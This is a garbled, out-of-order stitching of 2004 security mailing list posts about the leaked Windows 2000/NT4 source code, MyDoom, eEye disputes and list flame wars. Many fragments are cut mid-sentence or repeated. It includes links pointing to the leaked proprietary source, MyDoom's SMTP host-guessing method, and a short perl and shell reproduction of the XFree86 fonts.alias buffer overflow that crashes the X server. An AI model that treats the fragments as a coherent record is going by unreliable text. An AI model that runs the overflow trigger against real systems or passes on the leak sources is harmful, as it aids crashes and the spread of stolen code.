ok let get some reality here and quit on the sensationalism here
All universities and selected folk have copies of the source, so it was
bound to find a way out shortly, the leaked copy is 660mb in size, the full
source for MS win2k is over 40GIG so we have 1/100 of the code, so some piss
ant
On Fri, Feb 13, 2004 at 12:29:25AM -0500, James Patterson Wicks ([EMAIL PROTECTED])
wrote:
> "The Button"
Impressive. Upperscase letters to start off each word. Quotes to set it
apart from the rest of the sentence it appears in.
> [mailto:[EMAIL PROTECTED] On Behalf Of Cael Abal
> Imagine
Hey all
I find these 'visions of doom' quite funny when stated on this list.
Wasn't full-disclosure started around the time MS, SF (or is that
Symantec) and others started secret squirrelling about exploits and
source code etc?
> -Original Message-
> From: Byron Copeland [mailto:[EMAIL
Sorry, but perhaps that link was removed for some reason. Didn't pan
out.
On Fri, 2004-02-13 at 00:32, Andre Ludwig wrote:
> The actual press release can be found here
>
> http://www.microsoft.com/presspass/press/2004/Feb04/02-12windowssource.asp
>
> Andre Ludwig CISSP
>
> -Original Messag
Cael Abal wrote:
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Hash: SHA1
Michael T. Harding wrote:
| Anybody know of a checklist or guide to removing access across the entire
| organization for a "retired" admin?
| Mixed environment including Linux, Unix, Windows, Cisco, Nortel
Wow. Nightmare.
I would exp
The actual press release can be found here
http://www.microsoft.com/presspass/press/2004/Feb04/02-12windowssource.asp
Andre Ludwig CISSP
-Original Message-
From: Thor Larholm [mailto:[EMAIL PROTECTED]
Sent: Thursday, February 12, 2004 6:49 PM
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EM
Please proovide working links to the source codethanks
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
We are working on something called "The Button", which is nothing but
small script that activates a series of scripts that change all root,
local and domain administrator passwords on our Unix and Windows servers
when run. We also have to set up a script that will change the local
administrator pa
-BEGIN PGP SIGNED MESSAGE-
Hash: RIPEMD160
Andre Ludwig wrote:
| I am still up in the air on if this is legit or not.
http://customwire.ap.org/dynamic/stories/M/MICROSOFT_SOURCE_CODE?SITE=WASET&SECTION=HOME&TEMPLATE=DEFAULT
http://news.com.com/2100-7349_3-5158496.html?tag=nefd_top
sounds qu
Well, in instances like this, however unfortunate, I think this probably
is only the beginning of mangled code we'll be seeing. Anyone else have
visions of mayhem as well?
On Thu, 2004-02-12 at 23:10, Isaac Privett wrote:
> There are already exploited versions of NOTEPAD floating around. These
>
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Hash: SHA1
Michael T. Harding wrote:
| Anybody know of a checklist or guide to removing access across the entire
| organization for a "retired" admin?
| Mixed environment including Linux, Unix, Windows, Cisco, Nortel
Wow. Nightmare.
I would expect this is exact
heh, figures.
On Thu, 2004-02-12 at 22:22, gabriel rosenkoetter wrote:
> On Thu, Feb 12, 2004 at 06:26:39PM -0800, Nick Jacobsen wrote:
> > http://smokeherb.com/windows/
> > Both NT4 and 2000.
> >
> > As a side note, there is actually very little content in these files...
> > this is a very much
There are already exploited versions of NOTEPAD floating around. These people work very quickly.[EMAIL PROTECTED] wrote:
Friday, 27 October, 2000, 16:23 GMT 17:23 UKProbably not :)>-- Original Message -->Subject: Re: [Full-Disclosure] W2K source "leaked"?>From: Byron Copeland <[EMAIL PROTECTED]>>To
If you look at the source, its not using mx records. Its guessing.
It gets the domain name, then prepends mx., mail., smtp., mx1., mxs.,
mail1., relay., ns., and gate. to the domain name and send itself off.
Since most companies call their smtp outbounds relay or smtp or mail,
then it gets lucky.
If you look at the source, its not using mx records. Its guessing.
It gets the domain name, then prepends mx., mail., smtp., mx1., mxs.,
mail1., relay., ns., and gate. to the domain name and send itself off.
Since most companies call their smtp outbounds relay or smtp or mail,
then it gets lucky.
http://slashdot.org/ is also ranting about it.
On Thu, 2004-02-12 at 21:40, [EMAIL PROTECTED] wrote:
> I know some people have been talking about this as being a false news
> story, but now there is confirmation from Redmond.
>
> http://www.komotv.com/stories/29778.htm
>
>
>
>
> Regards
>
>
Confirmation yes. But not when the date reads Friday, 27 October, 2000, 16:23
GMT 17:23 UK
>-- Original Message --
>Subject: Re: [Full-Disclosure] W2K source "leaked"?
>From: Byron Copeland <[EMAIL PROTECTED]>
>To: "Gregory A. Gilliss" <[EMAIL PROTECTED]>
>Cc: [EMAIL PROTECTED]
>Date: 12 Feb 2004
> i copy paste the wrong lines. if logged in on the console
> i get a segfault. using ssh i get:
>
> [EMAIL PROTECTED] evert]$ X :0 -fp $PWD
> Authentication failed - cannot start X server.
> Perhaps you do not have console ownership?
> [EMAIL PROTECTED] evert]$
>
> so my real question was... is
On Thu, Feb 12, 2004 at 06:26:39PM -0800, Nick Jacobsen wrote:
> http://smokeherb.com/windows/
> Both NT4 and 2000.
>
> As a side note, there is actually very little content in these files...
> this is a very much "partial" leak...
Just so no one coming in to work on Friday wastes those poor
peo
Friday, 27 October, 2000, 16:23 GMT 17:23 UK
Probably not :)
>-- Original Message --
>Subject: Re: [Full-Disclosure] W2K source "leaked"?
>From: Byron Copeland <[EMAIL PROTECTED]>
>To: "Gregory A. Gilliss" <[EMAIL PROTECTED]>
>Cc: [EMAIL PROTECTED]
>Date: 12 Feb 2004 20:16:03 -0500
>
>
>As an avi
I know some people have been talking about this as being a false news
story, but now there is confirmation from Redmond.
http://www.komotv.com/stories/29778.htm
Regards
Thor Larholm
Senior Security Researcher
PivX Solutions
24 Corporate Plaza #180
Newport Beach, CA 92660
http://www.pivx.com
[
Just put up some old code again.
Just a simpleton port of an old unix port to WIN32 of PapaSmurf. Not a
complex program, but would probably help some with fundamentals of WIN32
based programming at least. And, probably most ineffective these days
anyway.
http://home.comcast.net/~nodialtone
_
There has been discussions on this mailing list as well as others about
a possible leak of Windows 2000 and Windows NT 4 source code.
Microsoft has now confirmed these rumours to be true.
http://www.komotv.com/stories/29778.htm
Regards
Thor Larholm
Senior Security Researcher
PivX Solutions
2
If's all over the peer-to-peer networks. It's on a number of ftp sites
now. I don't know exactly how much more information you need.
Christopher Blume
System Administrator
Byron Copeland wrote:
As an avid FULL DISCLOSURE reader, where is this "some of" source code?
On Th
http://smokeherb.com/windows/
Both NT4 and 2000.
As a side note, there is actually very little content in these files...
this is a very much "partial" leak...
-Original Message-
From: Byron Copeland
Sent: Thu 2/12/2004 5:16 PM
To: Gregory A. Gilliss
Anybody know of a checklist or guide to removing access across the entire organization for a "retired" admin?
Mixed environment including Linux, Unix, Windows, Cisco, Nortel
Create your own personal Web page with the info you use most, at My MSN.
___
As an avid FULL DISCLOSURE reader, where is this "some of" source code?
On Thu, 2004-02-12 at 18:55, Gregory A. Gilliss wrote:
> Does this count as confirmation?
>
> http://news.bbc.co.uk/1/hi/business/993933.stm
>
> G
>
> On or about 2004.02.12 23:48:52 +, Gadi Evron ([EMAIL PROTECTED]) sa
Unfortunately, considering the date on the story is "Friday, 27 October,
2000, 16:23 GMT 17:23 UK" I would have to say no, it doesn't count as
confirmation.
Please do remember to check story dates before posting them.
-chris
On Thu, 12 Feb 2004 15:55:17 "Gregory A. Gilliss"
<[EMAIL PROTECTED]> s
> -Original Message-
> From: Gadi Evron [mailto:[EMAIL PROTECTED]
> Sent: Thursday, February 12, 2004 1:49 PM
> To: [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED]; Thor Larholm
> Subject: W2K source "leaked"?
>
> A couple of days ago a friend of mine drew my attention to the source
> making
--On Thursday, February 12, 2004 09:39:41 AM -0800 Trevor Benson
<[EMAIL PROTECTED]> wrote:
You know what I love. How a usefull list has 40% of the posts some snotty
little comment a child (regardless of chronological age) has to make to
insult someone else in the list. Which of course spawns th
I am still up in the air on if this is legit or not. If it is yes the bar
has been lowered for simple exploits. It will also have the effect of
empowering those skilled individuals into creative and more advanced attacks
and exploits against the windows platform. From the source file listings
floa
Ah, hypocrisy from a journalist, imagine that:
On Thursday 12 February 2004 07:09, Keith Ward wrote:
> ... I wouldn't have
> wasted my keystrokes...
If you had not wasted them this email would not have been written.
I would definitely trust the veracity of anything this person writes.
the link to some sources died..
http://web1.v10.server106.fastvirtual.de/windows_2000_source_code.zip
but i dont there is going to be much hassle getting a 200mb zip real soon...
http://www.eweek.com/article2/0,4149,107786,00.asp
wood
> need source code comrade?
>
> http://amo.net/NT/01-20-
Hello.
I have not been able to find simmilar information on the Internet, so I'm
posting it here. Maybe someone will find it as a solution to MyDoom
e-mails flood. But if it is already known, sorry for wasting your time.
* * *
It looks that MyDoom is not using the MX flag of particular domain.
Does this count as confirmation?
http://news.bbc.co.uk/1/hi/business/993933.stm
G
On or about 2004.02.12 23:48:52 +, Gadi Evron ([EMAIL PROTECTED]) said:
> A couple of days ago a friend of mine drew my attention to the source
> making rounds on the encrypted p2p networks, I was hoping it w
--On Thursday, February 12, 2004 11:11:51 PM +1300 Brett Moore
<[EMAIL PROTECTED]> wrote:
Its great...
With the MS patching been relegated to monthly, it means we only have
to put up with this crap once a month... but man it drags on.. and on...
and on
Everyone has an opinion, agreed. But it
> Between linguistic differences (the
> German language, for example, puts the verb at the end of the sentence,
> a la postfix notation)
Hi, i just want to correct this. There are some grammatical constructs
in the German language. These occur only
in subordinate clauses, and can be avoided. Examp
>From your email it would appear that the 'battle lines' are already drawn.
Anyone submitting 'essays' may get them published and then Roberta Bragg's
response to those essays is published. Will the parties submitting the
essays then be provided guaranteed space to rebut Roberta's responses?
This is not the first time that people have reported leaked copies of
Windows source code. In 2000, Wired News reported that the source code
for Whistler (now Windows XP) had been leaked, though they never
confirmed it.
http://www.wired.com/news/business/0,1367,35135,00.html
WinBeta is also repor
win2k sp4
does not work
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Behalf Of Richard
> Maudsley
> Sent: Friday, February 10, 2006 10:38 PM
> To: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Re: HelpCtr - allow open any page or run
>
>
> Nope, me ne
Its great...
With the MS patching been relegated to monthly, it means we only have
to put up with this crap once a month... but man it drags on.. and on...
and on
Everyone has an opinion, agreed. But its not like those same opinions
are not shared by others.. Some would like full disclosure,
Who are you? You don't even provide your name. I'm frankly surprised
that Roberta gave you as detailed a reply as she did; I wouldn't have
wasted my keystrokes. Now, if you'd prefer to have a civilized debate,
instead of throwing out insults (rank amateur gibberish comes to mind),
we can talk. Othe
I flamed Mr. rude off list, but there is one point that I would like to
respond to on list...
The original poster asked whether a development was due to an unofficial
government policy.
Aside from all the nastier parts of the PATRIOT act (and Magic Lantern and
the other stuff that's already been
iDEFENSE Security Advisory 02.11.04:
XFree86 Font Information File Buffer Overflow II
http://www.idefense.com/application/poi/display?id=73
February 12, 2004
I. BACKGROUND
In short, XFree86 is an open source X11-based desktop infrastructure.
XFree86, provides a client/server interface between d
A couple of days ago a friend of mine drew my attention to the source
making rounds on the encrypted p2p networks, I was hoping it would take
a bit longer for it to be "out", but that was just day-dreaming.
Thor Larholm just gave me this URL, as you can notice, the server is busy:
http://www.neo
You know what I love. How a usefull list has 40% of the posts some snotty
little comment a child (regardless of chronological age) has to make to
insult someone else in the list. Which of course spawns the other 40%
rebuttals to the attacks. When in all reality, not one of us cared what
the child
Hi all,
When I wrote my pitch for articles on Microsoft security, I didn't
realize that Monday was President's Day, and a holiday for my company.
As such, there will be no Security Watch newsletter going out Monday
containing the essay for Roberta Bragg to respond to. It's totally my
fault; I hadn
At Feb-10-2004 iDefense has released a Security Advisory regarding to an
buffer overflow in XFree86.
http://www.idefense.com/application/poi/display?id=72&type=vulnerabilities&flashstatus=false
According to this advisory affected versions are 4.1.0 to 4.3.0 and
there´s an description how to repr
> -Original Message-
> From: Eric Lauzon [mailto:[EMAIL PROTECTED]
> Sent: Thursday, February 12, 2004 1:21 PM
> To: Drew Copley
> Subject: bleh
>
> Hehehe why you waste your time replying on mailing list dude.
Well, replying to you personally would be a waste of time.
>
> its been
Is this happening to anyone else?
-Rob
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
>* Here's the final straw
On February 10, 2004
Microsoft released
> a patch that
restores the "[EMAIL PROTECTED]:" functionality in URL
>references!
> * It seems they are trying to hide this fact as this is not
>widely publicized and it is NOT being labeled as an IE patch nor a even
>a securi
On Thu, 2004-02-12 at 02:42, CHS wrote:
> On Wed, 11 Feb 2004 [EMAIL PROTECTED] wrote:
>
> > test
>
> HAHAHAHAHAHA
>
>
> *points and laughs*
Another pont'n'laugh for Cisco advertises the "self-healing-network"
which detects and removes a virus automaticly ;)
>From the german Cisco-website
On Wed, Feb 11, 2004 at 15:34:07 -0600, Michael De La Cruz wrote:
> I was doing a forensic examination on Microsoft's Virtual PC 2004 software,
> and came across some Microsoft pictures I hadn't seen on an installed
> version of Windows 98 before. I know this isn't much of an
> exploit/vulnerab
On Thu, 2004-02-12 at 04:49, Joshua Levitsky wrote:
> - Original Message -
> Not to worry... after we invade Germany I'm sure he won't feel that way.
>
> --
> Joshua Levitsky, MCSE, CISSP
> System Engineer
> Time Inc. Information Technology
> [5957 F27C 9C71 E9A7 274A 0447 C9B9 75A4 9B41
> -Original Message-
> From: Kenton Smith [mailto:[EMAIL PROTECTED]
> Sent: Thursday, February 12, 2004 11:55 AM
> To: Drew Copley
> Cc: Paul Tinsley; [EMAIL PROTECTED]
> Subject: RE: [Full-Disclosure] Re: Re: comments>EEYE: MicrosoftASN.1 ...
>
> Mr. Copley,
>
> I'm not an Eeye cust
need source code comrade?
http://amo.net/NT/01-20-03MSFT.html
*grin*
-KF
-Original Message-
Date: Thu 02/12/04 2:29 PM
From: jB <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
CC:
Subject: [Full-Disclosure] Exclusive: Windows 2000 & Windows NT 4 Source Code Leaks
Yes, it's not an exploi
On Thu, Feb 12, 2004 at 11:29:22AM -0600, Clint Bodungen wrote:
> From: "Gregory A. Gilliss" <[EMAIL PROTECTED]>
> > And just to make you *really* cringe, I can't prove it, but I believe
> > he's correct. 'nuf said.
>
> Ok put down the tabloids and comic books. I've written commercial software
>
Mr. Copley,
I'm not an Eeye customer nor do I necessarily share the views of the
original poster. However, if I were you I'd quit while you're ahead.
This sort of tone from a representative of the company doesn't reflect
well on the company in general. Whether the poster is knowledgeable or
not, a
> -Original Message-
> From: Brett Moore [mailto:[EMAIL PROTECTED]
Oh no, not the OTHER kiwi... ;)
> Sent: Thursday, February 12, 2004 2:12 AM
> To: Drew Copley
> Cc: [EMAIL PROTECTED]
> Subject: RE:
> [kinda-but-not-really-Full-Disclosure-so-we-feel-warm-and-fuzz
> y] Re: EEYE: Mic
-
Title : Symlink vulnerabilities in mailmgr
Bug finder : Marco van Berkum ([EMAIL PROTECTED])
Website: http://ws.obit.nl
URL to mailmgr : http://web.onda.com.br/orso/mailmgr.html
Tested version : Mailmgr-1.2.3
Date
Drew,
> I apologize for alienating these users.
Clarification appreciated. As someone who has used Retina for years,
and performs vulnerability assessment and incident response for a living, I
share your concerns about the quality of MBSA (and appreciate the things
that Retina does well in this
Yes, it's not an exploit, but close...
Seems MS just joined the open source alliance:
http://neowin.net/comments.php?id=17509&category=main
JB
- Original Message -
From: "mescsa" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, February 09, 2004 9:14 PM
Subject: Re: [Full-Disclos
> My own opinion is that most software is so bad security-wise there's just
> no need for explicit backdoors. The US government TLAs can trust software
> developers (and if not them, the users) to make enough mistakes that they
> don't need to force or ask them to put in backdoors on purpose.
>
>
> -Original Message-
> From: Brian Eckman [mailto:[EMAIL PROTECTED]
> Sent: Thursday, February 12, 2004 11:46 AM
> To: Drew Copley
> Cc: Paul Tinsley; [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Re: Re: comments>EEYE: Microsoft ASN.1 ...
>
> Drew Copley wrote:
>
> > But, it tu
On Thu, Feb 12, 2004 at 12:56:59AM -0600, Paul Tinsley wrote:
> Show me one competitor that releases such detail at day 0 of patch release.
>
It took me less than 5 minutes to find an advisory from one of eeye's
major competitors who released an advisory WITHOUT a vendor patch being
available.
Drew Copley wrote:
But, it turns out, that the guys
who can write exploit code also can reverse engineer patches...
You said it all in that sentence. No other commentary was necesary to
make your point.
Besides reading exploit code (if such code were released, which it was
not), I'd imagine (
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of
> Paul Tinsley
> Sent: Wednesday, February 11, 2004 10:57 PM
> To: Drew Copley
> Cc: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Re: Re: comments>EEYE: Microsoft ASN.1 ...
>
> Drew Copley w
> > Fatal server error:
> > Caught signal 11. Server aborting
> >
> > no segfault or something...
>
> hahahaha...give me a shell i'll check it out!!
people can't make mistakes without anybody making
fun off them :P
i copy paste the wrong lines. if logged in on the console
i get a segfault. usi
I really despise contributing to off-topic threads but I just have to say my
peace on this one (because it has gotten *so* ridiculous) then I'll drop it.
First of all, my apologies to Thorolf. I didn't mean for that to sound as
harsh as it looked and like everyone is, so ridiculously, making it o
Martin wrote:
> It was somehow funny. The most annoying thing about it is that you
> get about 30 bounce mails from the people who use automatic virus
> scanners. You should switch the bounce-mails off for mailing lists,
> IMO.
sender notification is no bloody use anyhow. What was the last virus th
Um. You did. But you also mailed Bugtraq and patchmanagement, one
of which (I really can't be bothered to decipher which for you;
those headers are a mess) is what rejected your post:
On Wed, Feb 11, 2004 at 06:39:31PM -0800, morning_wood wrote:
> >Subject: Message rejected
[...]
> > List-Id:
> >
On Thu, Feb 12, 2004 at 12:28:13AM -0800, CHS wrote:
> wow, has ALL of cisco been 0wned?
Yeah, you know, because only Cisco employes would have @cisco.com
address in their Outlook addressbooks or inboxes.
> am I the only one who sees just how absolutely fscking hilarious this is??
Yep. The rest
On Wed, 11 Feb 2004 18:39:18 PST, "Gregory A. Gilliss" said:
> receive of the United States in their news and other media, it should
> be no surprise to you that someone from another country might suppose
> that America has an unofficial government policy in place to facilitate
> this kind of beh
Am Thu, den 12.02.2004 schrieb CHS um 09:28:
> wow, has ALL of cisco been 0wned?
Calm down, it's just a faked "From:"-header. Someone posted
an email with my address, too. Look here:
http://lists.netsys.com/pipermail/full-disclosure/2004-February/016738.html
And he even tried to fake a bounce-mai
Am Donnerstag, 12. Februar 2004 08:45 schrieb Evert Daman:
> > {Some output removed}... Server aborting... Segmentation fault (core
>
> dumped)
>
> mandrake gives me a:
>
> Fatal server error:
> Caught signal 11. Server aborting
>
> no segfault or something...
hahahaha...give me a shell i'll che
I do not work for eEye, although I have a favorable impression of the work
that I see them produce.
My personal prejudice is that I subscribe to the school of "security by
embarrassment". Vendors (and examples of this are legion) fix holes in
their code much more quickly when the hole is widely pu
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of
> roberta bragg
> Sent: Thursday, February 12, 2004 1:06 AM
> To: [EMAIL PROTECTED]; [EMAIL PROTECTED]
> Cc: [EMAIL PROTECTED]
> Subject: RE: [Full-Disclosure] Security Watch Essay (was: (no
> subject
- Original Message -
From: "CHS" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Cc: <[EMAIL PROTECTED]>
Sent: Thursday, February 12, 2004 8:28 AM
Subject: Re: [Full-Disclosure] HELLO
>
> wow, has ALL of cisco been 0wned?
>
> am I the only one who sees just how absolutely fscking hilarious th
wow, has ALL of cisco been 0wned?
am I the only one who sees just how absolutely fscking hilarious this is??
-- http://www.23.org/~chs/ -- AIM/AOL: bdsmchs
-
"Among the many misdeeds of the British rule in India, hi
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Hello List, Clint, Gregory,
thx for OFF TOPIC comment, by the way I'm from Poland.
It was ironic, for fun or not, we can't say 'it's impossible'.
I said "US located", cause M$ is located in US. This is
possible in Poland/Germany and other countries
> To reproduce the overflow on the command line, you can run:
>
> # cat > fonts.dir < ~ 1
> ~ word.bdf \
> ~ -misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
> ~ EOF
> # perl -e 'print "0" x 1024 . "A" x 96 . "\n"' > fonts.alias
> # X :0 -fp $PWD
>
> {Some output removed}... Ser
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Hash: SHA1
___
Mandrake Linux Security Update Advisory
___
Package name: mutt
Advisory ID:
Drew Copley wrote:
Without replying to each troll, individually, I thought maybe some
people would like to see some answers to some notes.
Most of these are from me, so I will personally respond to those that
apply. And believe it or not, this is not a troll, I really wanted to
see people's
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>To: <[EMAIL PROTECTED]>
>Sent: Wednesday, February 11, 2004 5:49 PM
>Subject: Message rejected
> Return-Path: <[EMAIL PROTECTED]>
> Received: from smarthost3.mail.uk.easynet.net ([212.135.6.13]) by
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